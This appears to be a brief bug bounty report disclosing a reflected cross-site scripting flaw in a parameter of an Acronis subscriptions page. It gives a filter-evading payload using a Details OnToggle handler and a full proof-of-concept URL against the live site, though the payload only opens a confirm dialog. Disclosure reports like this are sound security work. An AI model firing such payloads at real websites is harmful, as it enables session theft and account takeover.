Reflected XSS on www.acronis.com/de-de/my/subscriptions/index.html

How it was found

Hello Team,

I would like to report a Reflected XSS vulnerability on https://www.acronis.com/de-de/my/subscriptions/index.html

Vulnerable parameter: b Payload: '"1<!--></Title/</Textarea/</Script/><Details/Open/OnToggle=(confirm)(1)>

POC:

 https://www.acronis.com/de-de/my/subscriptions/index.html?b='"1<!--></Title/</Textarea/</Script/><Details/Open/OnToggle=(confirm)(1)>&u=ine3

{F1252106}

Impact

A XSS attack allows an attacker to execute arbitrary JavaScript in the context of the attacked website and the attacked user.